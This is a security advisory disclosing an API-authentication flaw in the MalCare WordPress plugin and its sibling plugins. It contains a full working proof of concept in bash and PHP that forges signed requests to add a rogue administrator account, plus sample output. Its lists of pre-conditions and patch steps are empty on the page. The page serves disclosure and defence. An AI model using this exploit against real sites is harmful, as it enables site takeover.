Possible site takeover through stolen API credentials in combination with SQLi – (MalCare <= 5.09)

Affected pluginMalCare
Active installs300,000+
Vulnerable version<= 5.0.9
Audited version4.97 / 5.0.9
Fully patched version5.16
Recommended remediationRemoval of the plugin

Description


MalCare uses broken cryptography to authenticate API requests from its remote servers to connected WordPress sites.

Requests are authentication by comparing a shared secret stored as plaintext in the WordPress database to the one provided by MalCare’s remote application.

This can allow attackers to completely take over the site because they can impersonate MalCare’s remote application and perform any implemented action, including, but not limited to:

  • Creating malicious admin users.
  • Uploading random files to the site.
  • Installing/Removing plugins.

This is exploitable if any of the below pre-conditions are given:

MalCare has received the full details of this vulnerability three months before this public release, and despite us offering (free) help, they subtly dismissed it because “supposedly” this is the industry standard for API authentication.

Note: WPUmbrella had the same conceptual vulnerability and fixed it within days.

Furthermore, concerns were raised, because the vulnerability requires a pre-condition that on its own, would be a vulnerability.

While this is true, the irony should be obvious here:

  • MalCare, being a Malware Scanner, is only “useful” if your site has been infected with Malware.
  • All Malware can read data from the database and steal the shared secret.
  • Instead of infecting sites with “actual” Malware, hackers can steal the API key and then remove the Malware.
  • ==> MalCare gives any Malware an undetectable, indefinite backdoor that can be used to reinfect sites repeatedly.

WPRemote and Blogvault have identical vulnerabilities because they all share 99% of their code.

Proof of concept


This vulnerability is exploitable through a combination of many security neglects:

The below proof of concept can be used to verify that a malicious administrator can be added. Many other exploits are possible.

1. Install MalCare on a new site (you don’t need an account).

2. Go into your database, and copy the “bvSecretKey” option from the wp_options table.

3. Copy the below PHP and bash scripts to your local computer.

poc.sh

#!/bin/bash

# poc.sh
# Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"

SITE_URL=$1
PLUGIN=$2
SECRET=$3

if [ -z "$SITE_URL" ]; then
  echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"
  exit 1
fi

if [ -z "$SECRET" ]; then
  echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"
  exit 1
fi

case "$PLUGIN" in
  "malcare"|"wpremote"|"bvbackup")
    # Do nothing or perform some action if the value is valid.
    ;;
  *)
    echo "Plugin must be one of 'malcare|wpremote|bvbackup'."
    exit 1
    ;;
esac

function addAdminUser() {
  php poc.php "$SITE_URL" "$PLUGIN" "$SECRET" "manage" "adusr" '{
                                                                   "args": {
                                                                     "user_login": "hacked",
                                                                     "user_email": "[email protected]",
                                                                     "role": "administrator",
                                                                     "user_pass": "password"
                                                                   }
                                                                 }'
}

addAdminUser

poc.php

<?php

// poc.php

declare(strict_types=1);

// No need to change this.
const RANDOM_ACCOUNT_KEY_32_CHARS = 'KDogQ121k33pm7CBqSCnJcPo2SWfzC7v';

// No need to change this.
const TIMESTAMP = 1893456000;

// No need to change this.
const BLOGVAULT_VERSION = '1';

$input = $_SERVER['argv'];

$site_url = $input[1];

$plugin = $input[2];

$stolen_secret = $input[3];

// This corresponds to the actions the remote API can perform.
// See BVCallbackHandler:routeRequest().
$blogvault_wing = $input[4];

// This is the "sub-action" each feature can perform.
// See BVManageCallback::process() as an example.
$blog_vault_method = $input[5];

$params_as_json = $input[6];

$expected_auth_sig = md5($blog_vault_method.$stolen_secret.TIMESTAMP.BLOGVAULT_VERSION);

$expected_mac = hash_hmac('md5', $params_as_json, $stolen_secret);

$postData = [
    'bvplugname' => $plugin,
    'pubkey' => RANDOM_ACCOUNT_KEY_32_CHARS,
    'rcvracc' => '1',
    'wing' => $blogvault_wing,
    'bvMethod' => $blog_vault_method,
    'bvTime' => TIMESTAMP,
    'bvVersion' => BLOGVAULT_VERSION,
    'sig' => $expected_auth_sig,
    'bvprms' => $params_as_json,
    'unser' => ['bvprms'],
    'bvprmsmac' => $expected_mac,
    'bvprmshshalgo' => 'md5',
];

$ch = curl_init($site_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

// Remove the "bvb64bvb64" prefix and suffix
$response = trim($response, 'bvb64bvb64');

// Base64 decode the response
$response = base64_decode($response);

// Remove the "bvbvbvbvbv" prefix and suffix
$response = trim($response, 'bvbvbvbvbv');

// Unserialize the response
$responseArray = unserialize($response);

// Convert the response array to a JSON array
$jsonResponse = json_encode($responseArray, JSON_PRETTY_PRINT);

echo $jsonResponse;
echo "\n";

4. Running the POC:

bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
bash poc.sh https://wp.test malcare IsGVpJo16IhaKNZ2jyE6NcMfPwW9zCpK

will give you a JSON output like this.

{
    "blogvault": "response",
    "callbackresponse": {
        "manage": {
            "adusr": {
                "adduser": {
                    "status": "Done",
                    "user_id": 2
                }
            }
        }
    },
    "request_info": {
        "requestedsig": "66ea0756e1a412c27f6eedaac7767414",
        "requestedtime": 1893456000,
        "requestedversion": "1",
        "calculated_mac": "691f41"
    },
    "site_info": {
        "wpurl": "https:\/\/wp.test",
        "siteurl": "https:\/\/wp.test",
        "homeurl": "https:\/\/wp.test",
        "serverip": "110.254.29.162",
        "abspath": "\/var\/www\/html\/",
        "dbsig": "97cb91",
        "serversig": "7dc355"
    },
    "account_info": {
        "public": "KDdgQ2",
        "sigmatch": "256e2a7"
    },
    "bvinfo": {
        "bvversion": "5.09",
        "sha1": "true",
        "plugname": "malcare"
    },
    "api_pubkey": "",
    "signature": "Blogvault API"
}

5. Verify that a new malicious admin account was created.

Proposed patch


All of the issues could have been easily fixed through the following means:

Timeline


Vendor contactedApril 13, 2023
First ResponseApril 24, 2023
Fully patched atJuly 8, 2023
Publicly disclosedJuly 6, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *